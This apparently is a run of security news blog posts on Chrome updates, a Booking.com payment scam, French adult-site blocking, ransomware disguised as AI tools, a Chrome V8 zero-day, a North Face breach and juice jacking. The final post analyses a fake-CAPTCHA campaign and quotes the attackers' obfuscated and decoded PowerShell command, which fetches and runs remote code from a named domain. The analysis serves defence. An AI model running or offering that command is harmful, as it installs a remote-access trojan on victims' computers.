How to update Chrome on every operating system

We often write about important updates for the most popular browser, Google Chrome. Since it would be out of scope to post elaborate update instructions for every possible platform and operating system (OS)—like iOS, macOS, Windows, Android, etc.—we decided to turn this topic into a separate post that is easy to find (and link to). Also, keep in mind that not every update will be available for every platform or at the same time. You can find when the latest update for your operating system was released on this Google Chrome releases website.

Keeping your Google Chrome browser up to date is essential for security, performance, and access to the latest features. Whether you’re on Windows, Mac, Linux, Android, or iOS, updating Chrome is straightforward, if you know where to look.

But first a few words about the version numbers, because they can be confusing at times.

The Chrome version number consists of four parts separated by dots, like this:

MAJOR.MINOR.BUILD.PATCH

Each part has a specific meaning. In order of relevance they are:

  • MAJOR: This number increases with significant releases that may include major new features or changes. It usually raises in increments about 7 – 8 times per year, roughly every 6 weeks, reflecting Chrome’s release cycle.
  • MINOR: This number is typically zero and rarely changes. It mainly supports the versioning scheme but doesn’t usually affect how users track updates.
  • BUILD: This number increases steadily and represents a specific snapshot of Chrome’s source code at a given time. It advances with each new build candidate and is the key indicator of how recent the core code is.
  • PATCH: This number changes in increments for smaller fixes and security patches applied to a particular build. It resets with each new build and helps identify minor updates within the same build.

For example, a version like 137.0.7151.56 means:

  • Major version 137 (the milestone release)
  • Minor version 0 (standard)
  • Build number 7151 (the code snapshot)
  • Patch number 56 (the latest fix on that build)

Why does the version number matter?

The BUILD and PATCH numbers together uniquely identify the exact code you are running. Even if two versions share the same major number, a higher build or patch number means you have a newer, more up-to-date Chrome version.

Sometimes you might see slightly different patch numbers on the same major build, for example, 118.0.5993.117 vs. 118.0.5993.118. This usually happens because Google released a quick fix or minor patch shortly after the initial release. Both are part of the same major update, but the higher patch number is newer.

How to check if you have the latest version

To verify your Chrome version:

  1. Open Chrome.
  2. Click the three-dot menu (⋮) in the top-right corner.
  3. Go to Help > About Google Chrome.

Booking.com reservation abused as cybercriminals steal from travelers

Robert Woodford, a recruitment marketing specialist, recently shared on LinkedIn how he fell victim to a highly sophisticated scam while booking a hotel in Verona through Booking.com, providing a striking example of how attacks on the hospitality industry affect travelers.

After completing a legitimate booking—and trading some communications with the hotel—Woodford received a separate message that he believed came from the official Booking.com messaging system. This message requested “missing details” and a prepayment.

But to be safe, Woodford logged into Booking.com directly rather than clicking any links. There, he found the same message in the same thread as his earlier communications with the hotel. The payment link also looked official, as it contained “bookingcom” in the URL. Woodford didn’t realize until after making the payment that the merchant’s name was incorrect and the payment was fraudulent.

Woodford’s story falls in line with a blog I wrote a few months ago about how phishers use fake CAPTCHAs to trick hotel staff into downloading malware. It also demonstrates how travelers can be deceived by increasingly sophisticated cybercriminals exploiting real booking data and trusted platforms.

The Swiss National Cyber Security Centre (NCSC) reported similar attacks where hotel staff were tricked into installing malware through fake CAPTCHAs and malicious clipboard commands. These infections compromise hotel booking systems, allowing attackers to manipulate guest communications and payments.

To be clear, these types of online scams are so effective because the hotel itself has been compromised, and travelers log into official, verified websites and services only to receive malicious messages from cybercriminals who are secretly in control. These aren’t fake websites—these are fake representatives for real hotels using the hotels’ own messaging platforms to speak with customers.

Once the criminals infect the booking system, they can access guest data, and payment information, enabling them to impersonate hotels and reach guests directly.

Adding to this picture is a warning from Arcona Hotels & Resorts who discovered “technical irregularities” and disconnected several locations from the central IT services as a precautionary measure to limit potential damage. ResponseOne GmbH, a company specializing in IT forensics, was brought in to conduct a technical analysis and manage the situation.

Arcona Hotels & Resorts is a German-based company specializing in operating and developing hotels, particularly focusing on leisure and holiday hotels, boutique hotels, and 5-star properties. While we have no direct information about what happened there, the timing and nature of their advisory suggest that this incident might be part of a wider campaign targeting the hospitality industry’s digital infrastructure.

Advice for travelers

 Cybercriminals are no longer just targeting guests. They are infiltrating hospitality systems themselves, turning trusted platforms into vectors for fraud.

Robert lost a few hundred quid and the trust in his bank, the travel platform he used, and a bit of trust in his own judgement. While Robert was vigilant and still became a victim, there are some tips to keep in mind:

  • Always access booking platforms by typing URLs directly into your browser rather than clicking links in emails or messages.
  • Verify any payment requests by contacting the hotel or booking platform through official channels. You can also call the hotel directly.
  • Be suspicious of urgent payment demands or requests for unusual payment methods.
  • Use credit cards for bookings where possible, or other options that provide fraud protection.
  • Report suspicious messages to the booking platform immediately.
  • Use browser protection against scams, credit card skimmers, and other malicious sites.

Be aware of the fact that the systems you trust might be compromised. Vigilance and proactive security measures are essential for both travelers and hotels to mitigate these risks.

Pornhub, RedTube, and YouPorn block access in France, VPN use set to soar

VPNs (Virtual Private Networks) are suddenly popular in France. Not because France has suddenly become super privacy conscious, but because Pornhub, RedTube, and YouPorn, have blocked access in France.

But why? Last year, France enacted a law mandating that pornographic sites implement stricter age-verification technology.

Since March 1, 1994, French law has prohibited exposing minors to pornographic content. To strengthen this, a 2020 law empowered the French Regulatory Authority for Audiovisual and Digital Communication (ARCOM) to issue warnings to non-compliant online services and seek judicial orders to block access if necessary.

In 2024, the French law on securing and regulating the digital environment (SREN) further enhanced ARCOM’s authority, allowing it to administratively block platforms that fail to prevent minors from accessing pornographic content.

On October 9, 2024, ARCOM adopted a technical framework, approved by the French Data Protection Agency (CNIL), outlining minimum requirements for age verification systems.

The requirements consisted of three major pillars:

  • Reliability
  • Third party implementation
  • Mandatory on each access

Services had until January 9, 2025, to comply with a transitional period until April 9, 2025, during which credit card-based verification was temporarily accepted under specific conditions.

In response to these regulations, the major adult websites like Pornhub, YouPorn, and RedTube have now suspended access in France, citing concerns over user privacy and data security associated with the mandated age verification methods.

This is a major decision for Pornhub because France is its second biggest market behind the US. Alex Kekesi, VP of president of brand and community of Aylo Holdings (Pornhub’s owner) said that:

“French citizens deserve a government and a regulator who are serious about preventing children from accessing adult content. They also deserve laws which protect their privacy and safeguard their sensitive data.”

In the United States, 19 states have passed laws requiring pornographic sites to confirm a user’s age by checking a government-issued ID, scanning their face, or other methods. The laws have led some of the largest adult sites, including Pornhub, to block users from those states, rather than paying millions for ID-checking services.

Naturally, everywhere where people want to View Porn Normally, the use of VPNs has increased because VPNs can be used to circumvent access restrictions imposed by such regulations. While specific figures for France are not publicly available, similar scenarios in other regions provide insight into user behavior:

Ransomware hiding in fake AI, business tools

Artificial intelligence (AI) and small business tools are being abused as smokescreens to hit unsuspecting victims with ransomware.

In the masquerade campaigns discovered by Cisco Talos, cybercriminals hid malware behind software and install packages that mimicked the websites or names of the lead monetization service Nova Leads, the enormously popular Chat GPT, and an AI-empowered video tool called InVideo AI.

As small businesses quickly adopt AI tools—a recent survey from the US Chamber of Commerce and the strategy firm Teneo revealed that 98% of small businesses already use at least one AI-powered product and 40% use generative AI—these cybercriminal lures pose the next, big threat to sole proprietors and boutique shops.

According to the researchers at Cisco Talos, the threat is twofold.

“Unsuspecting businesses in search of AI solutions may be deceived into downloading counterfeit tools in which malware is embedded,” Talos said. “This practice poses a significant risk, as it not only compromises sensitive business data and financial assets but also undermines trust in legitimate AI market solutions.”

In the first potential online attack, Talos found that cybercriminals created a fake website that closely resembled that of the legitimate company Nova Leads. The company helps businesses with lead monetization through acquisition, conversion, and content creation. But rather than simply copying the look and feel of Nova’s website, the cybercriminals also offered a completely fake, AI-powered product called “Nova Leads AI.”

On the malicious website, users were prompted to download Nova Leads AI for ”free access” for 12 months. If users downloaded and installed the fake software, the ransomware CyberLock was instead deployed. Researchers at Talos analyzed how CyberLock moved throughout a network and retrieved the ransom note left behind by the cybercriminals. In it, the ransomware gang claimed, falsely, that their attacks were altruistic.

“We want to assure you that your payment does not go to us,” the ransomware gang said in its note. “It will instead go to support affected women and children in Palestine, Ukraine, Africa, Asia, and other regions where injustices are a daily reality.”

In the note, victims are directed to pay $50,000 in cryptocurrency. The ransomware campaign is particularly dangerous as cybercriminals managed to manipulate SEO practices to rank their malicious website near the top of relevant online searches. This method, called “SEO poisoning,” is deployed by scammers, hackers, and shady websites.

In a second potential attack, Talos found that a software installer labeled “ChatGPT 4.0 full version – Premium.exe” was actually hiding the ransomware Lucky_Gh0$t. Interestingly, the files contained within the installer also contained legitimate open-source AI tools from Microsoft, likely as an evasion technique to ward off any antivirus tools inspecting the package for malware.

Though the Lucky_Gh0$t ransom note did not include a specific dollar amount, the cybercriminals displayed a starkly different attitude from CyberLock’s alleged humanitarianism:

“We are not a politically motivated group and we do not need anything other than your money.”

In the last potential attack, Talos found a new malware that the team dubbed “Numero.” Though it is not officially a form of ransomware, Talos found that, once deployed, it effectively renders systems “completely unusable.”

Talos discovered that the malware’s internal data co-opted the product and organizations names of the service InVideo AI, an AI-powered video generation service that can be used for marketing, content, and more.

While cybercriminals have long disguised their malware under popular brands, the emergence of AI—and its popularity for small businesses—highlight the dangers that small shops face simply for trying to do business online. But there is help at hand.

How to protect your small business from ransomware

As is true with all malware infections, the best defense to a ransomware attack is to never allow an attack to occur in the first place. Take on the following steps to secure your business from this existential threat:

  • Block common forms of entry. Patch known vulnerabilities in internet-facing software and disable or harden the login credentials for remote work tools like RDP ports and VPNs.
  • Prevent intrusions and stop malicious encryption. Stop threats early before they can infiltrate or infect your endpoints. Use always-on cybersecurity software that can prevent exploits and malware used to deliver ransomware.
  • Create offsite, offline backups. Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
  • Don’t get attacked twice. Once you’ve isolated an outbreak and stopped a first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Google fixes another actively exploited vulnerability in Chrome, so update now!

Google has released an update for the Chrome browser to patch an actively exploited flaw.

The update brings the Stable channel to versions 137.0.7151.68/.69 for Windows and Mac and 137.0.7151.68 for Linux.

The easiest way to update Chrome is to allow it to update automatically, but you can end up lagging behind if you never close your browser or if something goes wrong—such as an extension stopping you from updating the browser.

To manually get the update, click the “more menu” (three stacked dots) >  Settings > About Chrome. If there is an update available, Chrome will notify you and start downloading it. Then all you have to do is relaunch the browser in order for the update to complete, and for you to be safe from the vulnerability.

The About Chrome menu while updating
The About Chrome menu while updating

This update is crucial since it addresses an actively exploited vulnerability which could allow an attacker to exploit a specially crafted HTML page (website).

Technical details

The vulnerability tracked as CVE-2025-5419 is an out-of-bounds read and write in Google Chrome’s “V8,” which is the engine that Google developed for processing JavaScript. Prior to Google Chrome version 137.0.7151.68, this vulnerability allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

V8 has been a significant source of security problems in the past.

An out-of-bounds read and write vulnerability means that the attacker can manipulate parts of the device’s memory that should be out of their reach. Such a flaw in a program allows it to read or write outside the bounds the program sets, enabling attackers to manipulate other parts of the memory allocated to more critical functions. Attackers can write code to a part of the memory where the system executes it with permissions that the program and user should not have.

Google knows that attackers currently exploit CVE-2025-5419 in the wild, but released no details yet on who exploits the flaw, how they do it in real-world attacks, or who the targets are in those attacks. However, the Google Threat Analysis Group (TAG) team, which discovered the exploit, focuses on spyware and nation-state attackers who abuse zero days for espionage purposes.

This Chrome update also patches a medium-severity, use-after-free flaw (CVE-2025-5068) in the open-source rendering engine Blink and one internally discovered vulnerability.

The North Face warns customers about potentially stolen data

For the fourth time in its history, The North Face has notified customers that their account may have been compromised. This time, the company laid blame on a credential stuffing attack.

The North Face is best known for its line of outdoor clothing, footwear, and related equipment. With an annual revenue of over $3 billion, companies like The North Face are on the radar of cybercriminals.

The notice from The North Face says:

“On April 23, 2025, we discovered unusual activity involving our website, thenorthface.com (“Website”), which we investigated immediately. Following a careful and prompt investigation, we concluded that an attacker had launched a small-scale credential stuffing attack against our Website on April 23, 2025.”

Credential stuffing is the automated injection of stolen username and password pairs in to website login forms, in order to fraudulently gain access to user accounts. Many users reuse the same password and username/email, so if those credentials are stolen from one site, for example in a data breach or phishing attack, attackers can use the same credentials to compromise accounts on other services.

With these credentials, the attackers may have found additional information like:

  • Purchases made on the website
  • Shipping address(es)
  • Preferences
  • Email address(es)
  • First and last name
  • Date of birth (if the user saved it to their account)
  • Telephone number (if the user saved it to their account)

The North Face also said that no payment card data was compromised, as the company does not keep a copy of that information on the website. But the kind of data that was compromised still enriches a cybercriminal’s data set and helps them in performing more targeted and effective attacks.

The North Face also said:

“Please know that protecting your personal information is something that we take very seriously.”

One would think that after four credential stuffing attacks, The North Face would at least introduce the option to use multi-factor-authentication (MFA) on their website, but there’s no sign of that, let alone the enforcement of MFA. Maybe that’s because the credential stuffing attacks were dwarfed by the December 2023 ransomware attack that was later confirmed to have impacted 35 million customers.

Instead, The North Face stated that it quickly disabled passwords to halt the attack, and all users will need to create a new and unique password on the website if they have not already done so.

The emphasis on unique was done by me, because credential stuffing attacks are only successful because we have so many passwords that it’s no wonder we re-use them. Alternatively, people can look at password managers which can create and memorize complex passwords for you. But to me, it proves once again that it’s time to leave the era of passwords behind us.

The North Face is joining a long line of high-end targets that were recently attacked, including Adidas, Dior, Tiffany, Cartier, Victoria’s Secret, and Marks & Spencer.

Protecting yourself after a data breach

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

  • Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice they offer.
  • Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
  • Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
  • Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims and verify the identity of anyone who contacts you using a different communication channel.
  • Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
  • Consider not storing your card details. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
  • Set up identity monitoring. Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

Check your exposure

The Identity Theft Resource Center’s regularly published statistics show that it’s likely you’ve had other personal information exposed online in previous data breaches. You can check what personal information of yours has been exposed with our Digital Footprint portal. Just enter your email address (it’s best to submit the one you most frequently use) to our free Digital Footprint scan, and we’ll give you a report.

Juice jacking warnings are back, with a new twist

Remember juice jacking? It’s a term that crops up every couple of years to worry travelers. This spring has seen another spate of stories, including a new, more sophisticated form of attack. But how much of a threat is it, really?

Juice jacking is where an attacker uses a malicious public USB charger to install malware on, or steal information from, your phone. In theory, the victim plugs their phone into a USB charging port like those found in airports, restaurants or public transportation to top up their battery. The attacker has programmed the charger to start a data connection with the phone, allowing them to perhaps view files or control apps.

Both Apple and Android operating system developer Google coded rudimentary protections against juice jacking into their operating systems years ago. They updated their software so that users would have to approve any request to control the phone via a USB port.

However, as Ars Technica reported last week, researchers have found a way past these mechanisms in a new variation on the theme called ChoiceJacking.

Ars offers a detailed technical analysis of the exploit, invented by researchers at Austria’s Graz University of Technology. In short, though, it gives itself permission to control the phone by spoofing the user’s button-pressing for them.

Government agencies continue to warn about the risks of juice jacking. The TSA was the most recent, posting a warning about the issue on Facebook back in March:

“Hackers can install malware at USB ports (we’ve been told that’s called ‘juice/port jacking’). So, when you’re at an airport do not plug your phone directly into a USB port. Bring your TSA-compliant power brick or battery pack and plug in there.”

The TSA is well-intentioned, but behind the times. The FBI’s Denver office tweeted about this threat back in 2023, and the LA County District Attorney’s office posted about it in 2019.

Researchers have highlighted the threat since at least 2011, when the Defcon conference installed public charging stations that would flash a warning message on peoples’ phones. Since then, others have presented on the possible risks, and enterprising tinkerers have released malicious cables that take control of devices when plugged into them.

Have any juicers actually been jacked?

The FCC, which has had an advice page about this issue since 2019, said two years ago that it hadn’t found any real-world attacks, and Malwarebytes hasn’t found any since.

However, the lack of publicly documented attacks doesn’t mean that juice jacking isn’t a risk. It’s theoretically feasible. So how can you prevent against it?

Both Apple and Google have updated their operating systems to require more robust authentication than simply pressing a button when a connected USB device asks to take over your phone. However, not all iPhone users will necessarily update their devices. Android-based smartphone vendors get to implement their own versions of the operating system on their own schedule, and many take a long time to roll out new protections if they do so at all.

One way to be sure that your phone won’t get hijacked by a malicious charging station is to use a USB cable that has the data communication pins disconnected, meaning that a malicious charging port can’t talk to your phone. However, the Ars article warns that this might also interfere with the charging process on some phones.

One alternative is to power down your phone before plugging it in. Or take your own portable charging battery with you and skip the ports altogether.

Oh, and don’t use public Wi-Fi, says TSA

On another note, the TSA Facebook post also offered another piece of advice: “Don’t use free public WiFi, especially if you’re planning to make any online purchases,” it warned. “Do not ever enter any sensitive info while using unsecure WiFi [sic].”

This advice has merit. Attackers can snoop on public Wi-Fi connections, although the advancement of HTTPS on websites mean this is less of a risk nowadays for everyday browsing. However, if you’re doing anything of a sensitive nature, such as online banking, you can use a VPN to encrypt your traffic.

A simple alternative is to simply use cellular data instead, tethering your phone if you’re using a tablet or PC.

Which of these anti-juice-hacking and Wi-Fi snooping protections should you choose? As with all cybersecurity decisions, this is a question of how much risk you’re prepared to tolerate. Personally, I err on the side of caution. A little inconvenience now could save you significant trouble later.

Victims risk AsyncRAT infection after being redirected to fake Booking.com sites

Cybercriminals have started a campaign of redirecting links placed on gaming sites and social media—and as sponsored ads—that lead to fake websites posing as Booking.com. According to Malwarebytes research, 40% of people book travel through a general online search, creating a lot of opportunities for scammers.

The first signs of the campaign showed up mid-May and the final redirect destination changes every two to three days.

Following the links brings visitors to a familiar strategy where fake CAPTCHA websites hijack your clipboard and try to trick visitors into infecting their own device.

fake Captcha
fake Captcha prompt

As usual on these websites, by putting a checkmark in the fake Captcha prompt you’re giving the website permission to copy something to your clipboard.

Afterwards, the scammers involved will try to have the visitor execute a Run command on their computer. This type of prompt is never used in legitimate Captcha forms and should be immediately suspicious to all individuals.

The warning is nice, but it’s not very clear what this warning is for, in my opinion.

Users of Malwarebytes’ Browser Guard will see this warning:

Browser Guard clipboard warning
Malwarebytes Browser Guard’s clipboard warning

“Hey, did you just copy something?

Heads up, your clipboard was just accessed from this website. Be sure you trust the owner before passing this someplace you don’t want it. Like a terminal or an email to your boss.”

Well, either way, don’t just discard these warnings. Even if you think you’re looking at an actual booking website, this is not the kind of instructions you’re expected to follow.

What the website just put on the clipboard may look like gobbledegook to some, though more experienced users will see the danger.

pOwERsheLl –N"O"p"rO" /w h -C"Om"ManD "$b"a"np = 'b"kn"g"n"et.com';$r"k"v = I"n"v"o"k"e-"R"e"stMethod -Uri $ba"n"p;I"nv"oke"-"E"xp"r"es"sion $r"k"v"

The cybercriminals used mixed casing, quote interruption, and variable name manipulation to hide their true intentions, but what it actually says (and does if you follow the instructions) is:

powershell -NoProfile -WindowStyle Hidden -Command "$banp = 'bkngnet.com'; $rkv = Invoke-RestMethod -Uri $banp; Invoke-Expression $rkv"

The malicious Captcha form tells the user to copy the content of the clipboard into the Windows Run dialog box and execute the instructions from the above command. When Browser Guard detects that the text copied to the clipboard contains this kind of potentially malicious command, it will add the phrase  Suspicious Content at the front of the copied content which makes it an invalid command and the user will see a warning instead of having infected themselves.

Should a user fall for this without any protections enabled, the command will open a hidden powershell window to download and execute a file called ckjg.exe which in turn would download and execute a file called Stub.exe which is detected by Malwarebytes/ThreatDown as Backdoor.AsyncRAT.

Backdoor.AsyncRAT is a backdoor Trojan which serves as a Remote Access Tool (RAT) designed to remotely monitor and control other computers. In other words, it puts your device at the mercy of the person controlling the RAT.

The criminals can gather sensitive and financial information from infected devices which can lead to financial damages and even identity theft.

The domains and subdomains we found associated with this campaign rotate quickly. From what I could retrace, they change the URL to the landing page every two to three days. But here is a list of recently active ones.

How to stay safe

There are a few things you can do to protect yourself from falling victim to these and similar methods:

  • Do not follow instructions provided by a website you visited without thinking it through.
  • Use an active anti-malware solution that blocks malicious websites and scripts.
  • Use a browser extension that blocks malicious domains and scams.
  • Disable JavaScript in your browser before visiting unknown websites.

The clipboard access is triggered by a JavaScript function document.execCommand(‘copy’).  Disabling JavaScript will stop that from happening, but it has the disadvantage that it will break many websites that you visit regularly. What I do is use different browsers for different purposes.
